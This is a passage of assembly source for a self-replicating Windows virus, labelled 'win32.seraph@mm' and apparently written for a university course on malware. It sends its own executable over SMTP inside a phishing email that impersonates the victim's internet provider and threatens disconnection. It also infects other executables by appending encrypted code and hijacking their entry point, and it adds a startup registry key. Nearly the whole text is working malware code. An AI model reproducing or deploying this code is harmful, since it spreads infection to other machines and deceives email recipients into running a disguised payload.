pushval lpEmailMessage
ApiCall lstrcatA
; concat the email account name
pushptr szEmailAccount
pushval lpEmailMessage
ApiCall lstrcatA
; concat part 3 of the email message
pushptr szEmailPart3
pushval lpEmailMessage
ApiCall lstrcatA
; concat the ISP domain name
pushptr szIspDomainName
pushval lpEmailMessage
ApiCall lstrcatA
; concat part 4 of the email message
pushptr szEmailPart4
pushval lpEmailMessage
ApiCall lstrcatA
; concat the ISP company name
pushptr szIspName
pushval lpEmailMessage
ApiCall lstrcatA
; concat part 5 of the email message
pushptr szEmailPart5
pushval lpEmailMessage
ApiCall lstrcatA
; concat the logo URL
pushptr szLogoUrl
pushval lpEmailMessage
ApiCall lstrcatA
; concat part 6 of the email message
pushptr szEmailPart6
pushval lpEmailMessage
ApiCall lstrcatA
; concat the ISP company name
pushptr szIspName
pushval lpEmailMessage
ApiCall lstrcatA
; concat part 7 of the email message
pushptr szEmailPart7
pushval lpEmailMessage
ApiCall lstrcatA
; concat the ISP company name
pushptr szIspName
pushval lpEmailMessage
ApiCall lstrcatA
; concat part 8 of the email message
pushptr szEmailPart8
pushval lpEmailMessage
ApiCall lstrcatA
; concat the ISP company name
pushptr szIspName
pushval lpEmailMessage
ApiCall lstrcatA
; concat part 9 of the email message
pushptr szEmailPart9
pushval lpEmailMessage
ApiCall lstrcatA
; concat the ISP company name
pushptr szIspName
pushval lpEmailMessage
ApiCall lstrcatA
; concat part 10 of the email message
pushptr szEmailPart10
pushval lpEmailMessage
ApiCall lstrcatA
; concat the ISP company name
pushptr szIspName
pushval lpEmailMessage
ApiCall lstrcatA
; concat part 11 of the email message
pushptr szEmailPart11
pushval lpEmailMessage
ApiCall lstrcatA
; concat the dead line date
pushptr szDeadLine
pushval lpEmailMessage
ApiCall lstrcatA
; concat part 12 of the email message
pushptr szEmailPart12
pushval lpEmailMessage
ApiCall lstrcatA
; concat the ISP company name
pushptr szIspDomainName
pushval lpEmailMessage
ApiCall lstrcatA
; concat part 13 of the email message
pushptr szEmailPart13
pushval lpEmailMessage
ApiCall lstrcatA
; concat the ISP company name
pushptr szIspDomainName
pushval lpEmailMessage
ApiCall lstrcatA
; concat part 14 of the email message
pushptr szEmailPart14
pushval lpEmailMessage
ApiCall lstrcatA
; get the year
push 6
pushptr szYear
pushptr szYearFormat
push 0
push 0
push 0
ApiCall GetDateFormatA
; concat the year
pushptr szYear
pushval lpEmailMessage
ApiCall lstrcatA
; concat part 15 of the email message
pushptr szEmailPart15
pushval lpEmailMessage
ApiCall lstrcatA
; concat the ISP company name
pushptr szIspName
pushval lpEmailMessage
ApiCall lstrcatA
; concat part 16 of the email message
pushptr szEmailPart16
pushval lpEmailMessage
ApiCall lstrcatA
;-------------------------------------------------------------------------------------------------;
; Send the email message. ;
;-------------------------------------------------------------------------------------------------;
; connect to the mail server
mov eax, 25
lea esi, [ebp+szMailServer]
call ConnectToHost
cmp eax, -1
je exitThread
mov [ebp+hSock], eax
; set the timeout duration
mov eax, 5000
mov esi, [ebp+hSock]
lea edi, [ebp+dwTimeOut]
call SetTimeOut
; get the server response
push 0
push 256
pushptr szResponse
pushval hSock
ApiCall recv
cmp eax, -1
je exitThread
; create the HELO command
pushptr szHeloPart1
pushptr szCommand
ApiCall lstrcpyA
pushptr szIspDomainName
pushptr szCommand
ApiCall lstrcatA
pushptr szHeloPart2
pushptr szCommand
ApiCall lstrcatA
; send the HELO command
pushptr szCommand
ApiCall lstrlenA
push 0
push eax
pushptr szCommand
pushval hSock
ApiCall send
cmp eax, -1
je exitThread
; recieve the server response
push 0
push 256
pushptr szResponse
pushval hSock
ApiCall recv
cmp eax, -1
je exitThread
; create the MAIL FROM command
pushptr szMailFromPart1
pushptr szCommand
ApiCall lstrcpyA
pushptr szIspDomainName
pushptr szCommand
ApiCall lstrcatA
pushptr szMailFromPart2
pushptr szCommand
ApiCall lstrcatA
; send the MAIL FROM command
pushptr szCommand
ApiCall lstrlenA
push 0
push eax
pushptr szCommand
pushval hSock
ApiCall send
cmp eax, -1
je exitThread
; recieve the server response
push 0
push 256
pushptr szResponse
pushval hSock
ApiCall recv
cmp eax, -1
je exitThread
; create the RCPT TO command
pushptr szRcptToPart1
pushptr szCommand
ApiCall lstrcpyA
pushptr szEmailAccount
pushptr szCommand
ApiCall lstrcatA
pushptr szRcptToPart2
pushptr szCommand
ApiCall lstrcatA
pushptr szIspDomainName
pushptr szCommand
ApiCall lstrcatA
pushptr szRcptToPart3
pushptr szCommand
ApiCall lstrcatA
; send the RCPT TO command
pushptr szCommand
ApiCall lstrlenA
push 0
push eax
pushptr szCommand
pushval hSock
ApiCall send
cmp eax, -1
je exitThread
; recieve the server response
push 0
push 256
pushptr szResponse
pushval hSock
ApiCall recv
cmp eax, -1
je exitThread
; create the DATA command
pushptr szData
pushptr szCommand
ApiCall lstrcpyA
; send the DATA command
pushptr szCommand
ApiCall lstrlenA
push 0
push eax
pushptr szCommand
pushval hSock
ApiCall send
cmp eax, -1
je exitThread
; recieve the server response
push 0
push 256
pushptr szResponse
pushval hSock
ApiCall recv
cmp eax, -1
je exitThread
; send the email message
mov edi, [ebp+lpEmailMessage]
sendMessage:
push 0
push 1
push edi
pushval hSock
ApiCall send
cmp eax, -1
je exitThread
inc edi
cmp byte ptr [edi], 0
jne sendMessage
;-------------------------------------------------------------------------------------------------;
; Send the file attachment. ;
;-------------------------------------------------------------------------------------------------;
; get the path and name of this program
push 256
pushptr szModuleName
push 0
ApiCall GetModuleFileNameA
; open this program
push 0
push 0
push OPEN_EXISTING
push 0
push FILE_SHARE_READ
push GENERIC_READ
pushptr szModuleName
ApiCall CreateFileA
cmp eax, -1
je exitThread
mov [ebp+hFile], eax
; get the size of the file
push 0
pushval hFile
ApiCall GetFileSize
cmp eax, -1
je exitThread
; calculate the number of 3 byte base64 groups
xor edx, edx
mov ebx, 3
div ebx
mov ecx, eax
; send the base64 encoded file data
sendAttachment:
push edx
push ecx
; read 3 bytes
push 0
pushptr dwNumberOfBytes
push 3
pushptr threeBytes
pushval hFile
ApiCall ReadFile
; base64 encode the three bytes
mov ecx, 3
lea esi, [ebp+threeBytes]
lea edi, [ebp+fourBytes]
call Base64Encode
; send the four base64 encoded bytes
push 0
push 4
pushptr fourBytes
pushval hSock
ApiCall send
cmp eax, -1
je exitThread
pop ecx
pop edx
loop sendAttachment
; get the remaining bytes
push edx
push 0
pushptr dwNumberOfBytes
push edx
pushptr threeBytes
pushval hFile
ApiCall ReadFile
pop edx
; base64 encode the remaining bytes
push edx
mov ecx, edx
lea esi, [ebp+threeBytes]
lea edi, [ebp+fourBytes]
call Base64Encode
pop edx
; send the remaining bytes
push 0
push 4
pushptr fourBytes
pushval hSock
ApiCall send
cmp eax, -1
je exitThread
;-------------------------------------------------------------------------------------------------;
; send the final part of the email message. ;
;-------------------------------------------------------------------------------------------------;
; send the last part of the email message
pushptr szEmailPart17
ApiCall lstrlenA
push 0
push eax
pushptr szEmailPart17
pushval hSock
ApiCall send
cmp eax, -1
je exitThread
; recieve the server response
push 0
push 256
pushptr szResponse
pushval hSock
ApiCall recv
cmp eax, -1
je exitThread
;-------------------------------------------------------------------------------------------------;
; Clean up
;-------------------------------------------------------------------------------------------------;
; free the webpage buffer
pushptr lpWebpage
ApiCall GlobalFree
; free the email message buffer
pushptr lpEmailMessage
ApiCall GlobalFree
; close wininet
pushval hInternet
ApiCall InternetCloseHandle
; close winsock
ApiCall WSACleanup
;-------------------------------------------------------------------------------------------------;
; Exit thread. ;
;-------------------------------------------------------------------------------------------------;
exitThread:
; set the thread status
mov [ebp+dwThreadStatus], EXIT_THREAD
; exit the thread
ApiCall GetCurrentThread
lea ebx, [ebp+dwExitCode]
push ebx
push eax
ApiCall GetExitCodeThread
pushval dwExitCode
ApiCall ExitThread
;-------------------------------------------------------------------------------------------------;
; Function(s) ;
;-------------------------------------------------------------------------------------------------;
Base64Encode PROC
;
; Description:
; Base64 encodes a group of bytes.
;
; Parameters:
; ecx = Number of bytes to encode.
; esi = pointer to a buffer that needs encoding.
; edi = pointer to a buffer that will recieve the encoded data.
;
; Return Values:
; None.
;
cmp ecx, 3
jl @@pad ; no groups of 3 to convert?
xor edx, edx
mov eax, ecx
mov ebx, 3
div ebx ; edx = number of padded bytes
mov ecx, eax
@@base64: ; encode groups of 3 bytes to base64
lodsd
dec esi
bswap eax
push ecx
mov ecx, 4
@@encode3:
rol eax, 6
push eax
and eax, 3fh
mov al, [ebp+@@charset+eax] ; get the base64 character
stosb
pop eax
loop @@encode3
pop ecx
loop @@base64
mov ecx, edx
cmp edx, 3
jg @@return
@@pad: ; pad any additional bytes
inc ecx
mov dword ptr [edi], '===='
mov eax, [esi]
bswap eax
@@l1:
rol eax, 6
push eax
and eax, 3fh
mov al, [ebp+@@charset+eax]
stosb
pop eax
loop @@l1
@@return:
ret
@@charset DB 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/', 0
Base64Encode ENDP
SetTimeOut PROC
;
; Description:
; Sets the timeout duration for sending and recieving data.
;
; Parameters:
; esi = socket handle.
; edi = pointer to a DWORD.
; eax = timeout duration.
;
; Return Values:
; None.
;
; set the timeout duration
mov [edi], eax
; set the timeout for recieving data
push 4
push edi
push SO_RCVTIMEO
push SOL_SOCKET
push esi
ApiCall setsockopt
; set the timeout for sending data
push 4
push edi
push SO_SNDTIMEO
push SOL_SOCKET
push esi
ApiCall setsockopt
ret
SetTimeOut ENDP
LoadImports PROC
;
; Description:
; Loads a series a dll's and the addresses of the specified functions.
;
; Parameters:
; eax = pointer to an import table.
;
; Return Values:
; If the function is successful the return value is 0. If the function fails
; the return value is -1.
;
mov edi, eax
@@loadLibrary:
push edi
ApiCall LoadLibraryA ; load the dll
cmp eax, 0
je apiLoadError
mov esi, eax
xor al, al
mov ecx, 100
repne scasb ; find the dll pointer
@@loadFunctions:
push edi
push esi
ApiCall GetProcAddress ; get function address
cmp eax, 0
je apiLoadError
mov ebx, eax
xor al, al
mov ecx, 100
repne scasb ; find function pointer
mov [edi], ebx ; save the function address
add edi, 4
cmp byte ptr [edi], 0 ; end of function list?
jne @@loadFunctions
inc edi
cmp byte ptr [edi], '$' ; end of import list?
jne @@loadLibrary
xor eax, eax
ret
@@apiLoadError:
mov eax, -1
ret
LoadImports ENDP
ConnectToHost PROC
;
; Description:
; Connects to a host.
;
; Parameters:
; eax = port.
; esi = pointer to a zero terminated host name.
;
; Return Values:
; If the function is successful the return value is the socket handle. If the function fails
; the return value is -1.
;
; fill the SOCK_ADDRESS structure
mov [ebp+sockAddress.sin_family], AF_INET
push eax
ApiCall htons
mov [ebp+sockAddress.sin_port], ax
push esi
ApiCall gethostbyname
cmp eax, 0
je @@connectionFailed
mov eax, [eax+12]
mov eax, [eax]
mov eax, [eax]
mov [ebp+sockAddress.sin_addr], eax
; Create a socket
push PCL_NONE
push SOCK_STREAM
push AF_INET
ApiCall socket
mov esi, eax
cmp eax, -1
je @@connectionFailed
; connect to host
push 16
pushptr sockAddress
push esi
ApiCall connect
cmp eax, 0
jne @@connectionFailed
mov eax, esi
ret
@@connectionFailed:
mov eax, -1
ret
ConnectToHost ENDP
IsValid PROC
;
; Description:
; Checks to see if the file is a valid win32 exe and is not already infected.
;
; Parameters:
; esi = Pointer to filename.
;
; Return Values:
; If the function is successful the return value is 0. If the function fails the return
; value is -1.
;
; open the file
push 0
push 0
push OPEN_EXISTING
push 0
push FILE_SHARE_WRITE OR FILE_SHARE_READ
push GENERIC_WRITE OR GENERIC_READ
push esi
ApiCall CreateFileA
cmp eax, -1
je @@notValid
mov [ebp+hFile], eax
; read the DOS header into memory
push 0
pushptr dwNumberOfBytes
push size DOS_HEADER
pushptr dosHeader
pushval hFile
ApiCall ReadFile
cmp word ptr [ebp+dosHeader.wSignature], 'ZM'
jne @@notValid
; seek to the PE header
push FILE_BEGIN
push 0
pushval dosHeader.lpPEHeader
pushval hFile
ApiCall SetFilePointer
; read the PE header into memory
push 0
pushptr dwNumberOfBytes
push size PE_HEADER
pushptr peHeader
pushval hFile
ApiCall ReadFile
; is it a win32 exe file?
cmp word ptr [ebp+peHeader.dwSignature], 'EP'
jne @@notValid
; calculate the location of the last section header
xor edx, edx
xor eax, eax
mov ax, [ebp+peHeader.wNumberOfSections]
dec eax
mov ebx, size SECTION_HEADER
mul ebx
add eax, [ebp+dosHeader.lpPEHeader]
add eax, size PE_HEADER
mov [ebp+lpLastSectionHeader], eax
; seek to the last section header
push FILE_BEGIN
push 0
pushval lpLastSectionHeader
pushval hFile
ApiCall SetFilePointer
; read the last section header into memory
push 0
pushptr dwNumberOfBytes
push size SECTION_HEADER
pushptr sectionHeader
pushval hFile
ApiCall ReadFile
; code already attached?
cmp dword ptr [ebp+sectionHeader.dwCharacteristics], SECTION_RWE
je @@notValid
@@isValid:
pushval hFile
ApiCall CloseHandle
xor eax, eax
ret
@@notValid:
pushval hFile
ApiCall CloseHandle
mov eax, -1
ret
IsValid ENDP
AttachCode PROC
;
; Description:
; Infects a win32 exe with this program.
;
; Parameters:
; esi = Pointer to filename.
;
; Return Values:
; If the function is successful the return value is 0. If the function fails the return
; value is -1.
;
; save the return address for this instance
push [ebp+lpReturnAddress]
; open the file
push 0
push 0
push OPEN_EXISTING
push 0
push FILE_SHARE_WRITE OR FILE_SHARE_READ
push GENERIC_WRITE OR GENERIC_READ
push esi
ApiCall CreateFileA
cmp eax, -1
je @@attachFailure
mov [ebp+hFile], eax
; read the DOS header into memory
push 0
pushptr dwNumberOfBytes
push size DOS_HEADER
pushptr dosHeader
pushval hFile
ApiCall ReadFile
; seek to the PE header
push FILE_BEGIN
push 0
pushval dosHeader.lpPEHeader
pushval hFile
ApiCall SetFilePointer
; read the PE header into memory
push 0
pushptr dwNumberOfBytes
push size PE_HEADER
pushptr peHeader
pushval hFile
ApiCall ReadFile
; update the image size
add dword ptr [ebp+peHeader.dwSizeOfImage], ((CODE_SIZE + (1000h - 1)) AND 0FFFFF000h)
; use the program entry point as a return address
mov eax, [ebp+peHeader.dwAddressOfEntryPoint]
mov [ebp+lpReturnAddress], eax
; calculate the location of the last section header
xor edx, edx
xor eax, eax
mov ax, [ebp+peHeader.wNumberOfSections]
dec eax
mov ebx, size SECTION_HEADER
mul ebx
add eax, [ebp+dosHeader.lpPEHeader]
add eax, size PE_HEADER
mov [ebp+lpLastSectionHeader], eax
; seek to the last section header
push FILE_BEGIN
push 0
pushval lpLastSectionHeader
pushval hFile
ApiCall SetFilePointer
; read the last section header into memory
push 0
pushptr dwNumberOfBytes
push size SECTION_HEADER
pushptr sectionHeader
pushval hFile
ApiCall ReadFile
; point the program entry point to this code
mov eax, [ebp+sectionHeader.dwVirtualAddress]
add eax, [ebp+sectionHeader.dwSizeOfRawData]
mov [ebp+peHeader.dwAddressOfEntryPoint], eax
; calculate the location in the file where the code should go
mov eax, [ebp+sectionHeader.dwPointerToRawData]
add eax, [ebp+sectionHeader.dwSizeOfRawData]
mov [ebp+lpCode], eax
; seek to that location
push FILE_BEGIN
push 0
pushval lpCode
pushval hFile
ApiCall SetFilePointer
; write the decryption code to the file
push 0
pushptr dwNumberOfBytes
push (offset encrypted - offset main)
pushval lpStartOfCode
pushval hFile
ApiCall WriteFile
; write the encrypted code to the file
mov ecx, CODE_SIZE - (offset encrypted - offset main)
xor esi, esi
encrypt:
push ecx
mov al, byte ptr [ebp+esi+encrypted]
xor al, 123
mov [ebp+cByte], al
push 0
pushptr dwNumberOfBytes
push 1
pushptr cByte
pushval hFile
ApiCall WriteFile
inc esi
pop ecx
loop encrypt
; update the virtual size of the section
add [ebp+sectionHeader.dwVirtualSize], ((CODE_SIZE + (1000h - 1)) AND 0FFFFF000h)
; update the size of raw data
add [ebp+sectionHeader.dwSizeOfRawData], ((CODE_SIZE + (200h - 1)) AND 0FFFFFE00h)
; make the section readable/writable/executable
mov [ebp+sectionHeader.dwCharacteristics], SECTION_RWE
; seek to the last section header
push FILE_BEGIN
push 0
pushval lpLastSectionHeader
pushval hFile
ApiCall SetFilePointer
; write the updated section header back to the file
push 0
pushptr dwNumberOfBytes
push size SECTION_HEADER
pushptr sectionHeader
pushval hFile
ApiCall WriteFile
; seek to the PE Header
push FILE_BEGIN
push 0
pushval dosHeader.lpPEHeader
pushval hFile
ApiCall SetFilePointer
; write the updated PE header back to the file
push 0
pushptr dwNumberOfBytes
push size PE_HEADER
pushptr peHeader
pushval hFile
ApiCall WriteFile
; update the file size to a multiple of 4096
push FILE_END
push 0
push 0
pushval hFile
ApiCall SetFilePointer
mov ebx, eax
add eax, (1000h - 1)
and eax, 0FFFFF000h
sub eax, ebx
mov ecx, eax
@@zeroFill:
jecxz @@attachSuccess
push ecx
push 0
pushptr dwNumberOfBytes
push 1
pushptr cZero
pushval hFile
ApiCall WriteFile
pop ecx
dec ecx
jmp @@zeroFill
@@attachSuccess:
; restore the return address
pop [ebp+lpReturnAddress]
; close the file handle
pushval hFile
ApiCall CloseHandle
; return success code
xor eax, eax
ret
@@attachFailure:
; restore the return address
pop [ebp+lpReturnAddress]
; return failure code
mov eax, -1
ret
AttachCode ENDP
;-------------------------------------------------------------------------------------------------;
; Data Section ;
;-------------------------------------------------------------------------------------------------;
; >:) im so evil, so so evil...
szSigntaure DB 'University of Calgary', CRLF
DB 'Semester: 4', CRLF
DB 'Course: Computer Viruses and Malware', CRLF
DB 'Virus Name: win32.seraph@mm', CRLF
DB 'Virus Type: Mass Mailer/File Infector', CRLF, 0
; date formating
szDateFormat DB 'MMMM, d, yyyy', 0
szYearFormat DB 'yyyy', 0
date SYSTEM_TIME <0>
; file finding data
szDrive DB 'A:\', 0
hFind DD 0
szSearchString DB '*.*', 0
szBackDir DB '..', 0
win32FindData WIN32_FIND_DATA <0>
; wininet data
dwConnectionState DD 0
hInternet DD 0
; SMTP data
szResponse DB 256 DUP(0)
szCommand DB 256 DUP(0)
dwTimeOut DD 0
hSock DD 0
szHeloPart1 DB 'HELO ', 0
szHeloPart2 DB CRLF, 0
szMailFromPart1 DB 'MAIL FROM: <news@', 0
szMailFromPart2 DB '>', CRLF, 0
szRcptTo DB 132 DUP(0)
szRcptToPart1 DB 'RCPT TO: <', 0
szRcptToPart2 DB '@', 0
szRcptToPart3 DB '>', CRLF, 0
szData DB 'DATA', CRLF, 0
szDot DB CRLF, '.', CRLF, 0
szQuit DB 'QUIT', CRLF, 0
threeBytes DB 0, 0, 0 ; holds 3 ascii bytes
fourBytes DB 0, 0, 0, 0 ; holds 3 base64 encoded bytes
szMailServer DB 132 DUP(0)
lpEmailMessage DD 0
szEmailAccount DB 25 DUP(0)
; registry data
szSubKey DB 'Software\Microsoft\Windows\CurrentVersion\Run', 0
hKey DD 0
szModuleName DB 256 DUP(0)
szValueName DB 'Start-Up', 0
; dynamic variables (vary from generation to generation)
lpReturnAddress DD 0
lpStartOfCode DD 0
lpImageBase DD 0
; DNS data
lpResults DD 0
dnsRecordHeader DNS_RECORD <0>
; PE data
peHeader PE_HEADER <0>
dosHeader DOS_HEADER <0>
sectionHeader SECTION_HEADER <0>
lpLastSectionHeader DD 0
lpCode DD 0
cZero DB 0
cByte DB 0
; thread data
hThread DD 0
dwThreadStatus DD 0
dwExitCode DD 0
; file I/O data
hFile DD 0
dwNumberOfBytes DD 0
; MISC data
wsaData WSA_DATA <0>
szArpa DB '.in-addr.arpa', 0
lpWebpage DD 0
dwWebpageSize DD 0
szWWW DB 'http://www.', 0
szUrl DB 132 DUP(0)
sockAddress SOCK_ADDRESS <0>
szIkxParameter DB ' /iKX', 0
szPatchName DB 'patch110.exe', 0
szPatchTitle DB 'Installation Complete!', 0
szPatchInstall DB 'Thankyou for installing the security patch version 1.10.', 0
szCurrentDirectory DB 256 DUP(0)
szSystemDirectory DB 257 DUP(0)
szSlash DB '\', 0
; collected data
szHostName DB 132 DUP(0)
szReverseIP DB 29 DUP(0)
szIspDomainName DB 132 DUP(0)
szIspWebpage DB 132 DUP (0)
szLogoUrl DB 132 DUP(0)
szIspName DB 25 DUP(0)
szDeadLine DB 25 DUP(0)
szYear DB 5 DUP(0)
; dll data
lpKernel32 DD 0
szLoadLibraryA DB 'LoadLibraryA', 0
LoadLibraryA DD 0
GetProcAddress DD 0
; email message
szEmailPart1 DB 'From: news@', 0
szEmailPart2 DB CRLF
DB 'To: ', 0
szEmailPart3 DB '@', 0
szEmailPart4 DB CRLF
DB 'Subject: Important information involving your ', 0
szEmailPart5 DB ' Internet account.', CRLF
DB 'MIME-Version: 1.0', CRLF
DB 'Content-Type: multipart/mixed; boundary="Boundary.11111111.11111111"', CRLF
DB CRLF
DB 'This is a multipart message in MIME format.', CRLF
DB CRLF
DB '--Boundary.11111111.11111111', CRLF
DB 'Content-Type: text/html', CRLF
DB CRLF
DB '<html>', CRLF
DB '<body bgcolor = "white">', CRLF
DB '<table align = center width = 400 border = 1 cellspacing = 0 cellpadding = 0 bordercolor = 0>', CRLF
DB '<tr>', CRLF
DB '<td>', CRLF
DB '<table border = 0 cellspacing = 5 cellpadding = 5 width = 100%>', CRLF
DB '<tr>', CRLF
DB '<td>', CRLF
DB '<center><img src = "', 0
szEmailPart6 DB '"></center>', CRLF
DB '<p>', CRLF
DB '<font face="Arial, Helvetica, sans-serif" size="2">', CRLF
DB 'Dear ', 0
szEmailPart7 DB ' customer<p>', CRLF
DB 'We at ', 0
szEmailPart8 DB ' have been working hard at increasing the reliability and security of our service. '
DB 'To date the following changes have been made:<p>', CRLF
DB '<ul>', CRLF
DB '<li>All emails sent to your ', 0
szEmailPart9 DB ' email account are now screened for viruses and other malware.<p></li>', CRLF
DB '<li>A virtual firewall has been set up to protect your system from attacks by hackers.<p></li>', CRLF
DB '<li>A new update is available to protect your computer while online. (Read more below)<p></li>', CRLF
DB '</ul>', CRLF
DB 'All ', 0
szEmailPart10 DB ' customers are required to install our latest security update attached to this email. '
DB 'It contains a series of patches from Microsoft, Norton and McAffee that will protect '
DB 'your computer and us from attacks. All ', 0
szEmailPart11 DB ' customers MUST have this patch installed by <b>', 0
szEmailPart12 DB '</b>. Failure to do so will result in disconnection of this Internet service. If you '
DB 'require assistence or have any questions contact us at <a href = "mailto:info@', 0
szEmailPart13 DB '">info@', 0
szEmailPart14 DB '</a>.<p>', CRLF
DB '</font>', CRLF
DB '<center><font color = "555555">&copy; ', 0
szEmailPart15 DB ' ', 0
szEmailPart16 DB ' Inc.</font></center>', CRLF
DB '</td>', CRLF
DB '</tr>', CRLF
DB '</table>', CRLF
DB '</td>', CRLF
DB '</tr>', CRLF
DB '</table>', CRLF
DB '</body>', CRLF
DB '</html>', CRLF
DB CRLF
DB '--Boundary.11111111.11111111', CRLF
DB 'Content-Type: application/x-msdownload; name="patch110.exe"', CRLF
DB 'Content-Transfer-Encoding: base64', CRLF
DB 'Content-Description: patch110.exe', CRLF
DB 'Content-Disposition: attachment; filename="patch110.exe"', CRLF
DB CRLF
DB 0
szEmailPart17 DB CRLF
DB '--Boundary.11111111.11111111--', CRLF
DB CRLF
DB '.', CRLF
DB 0
lastnames DB 'SMITH',0,'JOHNSON',0,'WILLIAMS',0,'JONES',0,'BROWN',0,'DAVIS',0,'MILLER',0,'WILSON',0
DB 'MOORE',0,'TAYLOR',0,'ANDERSON',0,'THOMAS',0,'JACKSON',0,'WHITE',0,'HARRIS',0,'MARTIN',0
DB 'THOMPSON',0,'GARCIA',0,'MARTINEZ',0,'ROBINSON',0,'CLARK',0,'RODRIGUEZ',0,'LEWIS',0
DB 'LEE',0,'WALKER',0,'HALL',0,'ALLEN',0,'YOUNG',0,'HERNANDEZ',0,'KING',0,'WRIGHT',0
DB 'LOPEZ',0,'HILL',0,'SCOTT',0,'GREEN',0,'ADAMS',0,'BAKER',0,'GONZALEZ',0,'NELSON',0
DB 'CARTER',0,'MITCHELL',0,'PEREZ',0,'ROBERTS',0,'TURNER',0,'PHILLIPS',0,'CAMPBELL',0
DB 'PARKER',0,'EVANS',0,'EDWARDS',0,'COLLINS',0,'STEWART',0,'SANCHEZ',0,'MORRIS',0
DB 'ROGERS',0,'REED',0,'COOK',0,'MORGAN',0,'BELL',0,'MURPHY',0,'BAILEY',0,'RIVERA',0
DB 'COOPER',0,'RICHARDSON',0,'COX',0,'HOWARD',0,'WARD',0,'TORRES',0,'PETERSON',0,'GRAY',0
DB 'RAMIREZ',0,'JAMES',0,'WATSON',0,'BROOKS',0,'KELLY',0,'SANDERS',0,'PRICE',0,'BENNETT',0
DB 'WOOD',0,'BARNES',0,'ROSS',0,'HENDERSON',0,'COLEMAN',0,'JENKINS',0,'PERRY',0,'POWELL',0
DB 'LONG',0,'PATTERSON',0,'HUGHES',0,'FLORES',0,'WASHINGTON',0,'BUTLER',0,'SIMMONS',0
DB 'FOSTER',0,'GONZALES',0,'BRYANT',0,'ALEXANDER',0,'RUSSELL',0,'GRIFFIN',0,'DIAZ',0
DB 'HAYES',0,'MYERS',0,'FORD',0,'HAMILTON',0,'GRAHAM',0,'SULLIVAN',0,'WALLACE',0,'WOODS',0
DB 'COLE',0,'WEST',0,'JORDAN',0,'OWENS',0,'REYNOLDS',0,'FISHER',0,'ELLIS',0,'HARRISON',0
DB 'GIBSON',0,'MCDONALD',0,'CRUZ',0,'MARSHALL',0,'ORTIZ',0,'GOMEZ',0,'MURRAY',0,'FREEMAN',0
DB 'WELLS',0,'WEBB',0,'SIMPSON',0,'STEVENS',0,'TUCKER',0,'PORTER',0,'HUNTER',0,'HICKS',0
DB 'CRAWFORD',0,'HENRY',0,'BOYD',0,'MASON',0,'MORALES',0,'KENNEDY',0,'WARREN',0,'DIXON',0
DB 'RAMOS',0,'REYES',0,'BURNS',0,'GORDON',0,'SHAW',0,'HOLMES',0,'RICE',0,'ROBERTSON',0
DB 'HUNT',0,'BLACK',0,'DANIELS',0,'PALMER',0,'MILLS',0,'NICHOLS',0,'GRANT',0,'KNIGHT',0
DB 'FERGUSON',0,'ROSE',0,'STONE',0,'HAWKINS',0,'DUNN',0,'PERKINS',0,'HUDSON',0,'SPENCER',0
DB 'GARDNER',0,'STEPHENS',0,'PAYNE',0,'PIERCE',0,'BERRY',0,'MATTHEWS',0,'ARNOLD',0
DB 'WAGNER',0,'WILLIS',0,'RAY',0,'WATKINS',0,'OLSON',0,'CARROLL',0,'DUNCAN',0,'SNYDER',0
DB 'HART',0,'CUNNINGHAM',0,'BRADLEY',0,'LANE',0,'ANDREWS',0,'RUIZ',0,'HARPER',0,'FOX',0
DB 'RILEY',0,'ARMSTRONG',0,'CARPENTER',0,'WEAVER',0,'GREENE',0,'LAWRENCE',0,'ELLIOTT',0
DB 'CHAVEZ',0,'SIMS',0,'AUSTIN',0,'PETERS',0,'KELLEY',0,'FRANKLIN',0,'LAWSON',0,'FIELDS',0
DB 'GUTIERREZ',0,'RYAN',0,'SCHMIDT',0,'CARR',0,'VASQUEZ',0,'CASTILLO',0,'WHEELER',0
DB 'CHAPMAN',0,'OLIVER',0,'MONTGOMERY',0,'RICHARDS',0,'WILLIAMSON',0,'JOHNSTON',0,'BANKS',0
DB 'MEYER',0,'BISHOP',0,'MCCOY',0,'HOWELL',0,'ALVAREZ',0,'MORRISON',0,'HANSEN',0
DB 'FERNANDEZ',0,'GARZA',0,'HARVEY',0,'LITTLE',0,'BURTON',0,'STANLEY',0,'NGUYEN',0
DB 'GEORGE',0,'JACOBS',0,'REID',0,'KIM',0,'FULLER',0,'LYNCH',0,'DEAN',0,'GILBERT',0
DB 'GARRETT',0,'ROMERO',0,'WELCH',0,'LARSON',0,'FRAZIER',0,'BURKE',0,'HANSON',0,'DAY',0
DB 'MENDOZA',0,'MORENO',0,'BOWMAN',0,'MEDINA',0,'FOWLER',0,'BREWER',0,'HOFFMAN',0
DB 'CARLSON',0,'SILVA',0,'PEARSON',0,'HOLLAND',0,'DOUGLAS',0,'FLEMING',0,'JENSEN',0
DB 'VARGAS',0,'BYRD',0,'DAVIDSON',0,'HOPKINS',0,'MAY',0,'TERRY',0,'HERRERA',0,'WADE',0
DB 'SOTO',0,'WALTERS',0,'CURTIS',0,'NEAL',0,'CALDWELL',0,'LOWE',0,'JENNINGS',0,'BARNETT',0
DB 'GRAVES',0,'JIMENEZ',0,'HORTON',0,'SHELTON',0,'BARRETT',0,'OBRIEN',0,'CASTRO',0
DB 'SUTTON',0,'GREGORY',0,'MCKINNEY',0,'LUCAS',0,'MILES',0,'CRAIG',0,'RODRIQUEZ',0
DB 'CHAMBERS',0,'HOLT',0,'LAMBERT',0,'FLETCHER',0,'WATTS',0,'BATES',0,'HALE',0,'RHODES',0
DB 'PENA',0,'BECK',0,'NEWMAN',0,'HAYNES',0,'MCDANIEL',0,'MENDEZ',0,'BUSH',0,'VAUGHN',0
DB 'PARKS',0,'DAWSON',0,'SANTIAGO',0,'NORRIS',0,'HARDY',0,'LOVE',0,'STEELE',0,'CURRY',0
DB 'POWERS',0,'SCHULTZ',0,'BARKER',0,'GUZMAN',0,'PAGE',0,'MUNOZ',0,'BALL',0,'KELLER',0
DB 'CHANDLER',0,'WEBER',0,'LEONARD',0,'WALSH',0,'LYONS',0,'RAMSEY',0,'WOLFE',0
DB 'SCHNEIDER',0,'MULLINS',0,'BENSON',0,'SHARP',0,'BOWEN',0,'DANIEL',0,'BARBER',0
DB 'CUMMINGS',0,'HINES',0,'BALDWIN',0,'GRIFFITH',0,'VALDEZ',0,'HUBBARD',0,'SALAZAR',0
DB 'REEVES',0,'WARNER',0,'STEVENSON',0,'BURGESS',0,'SANTOS',0,'TATE',0,'CROSS',0,'GARNER',0
DB 'MANN',0,'MACK',0,'MOSS',0,'THORNTON',0,'DENNIS',0,'MCGEE',0,'FARMER',0,'DELGADO',0
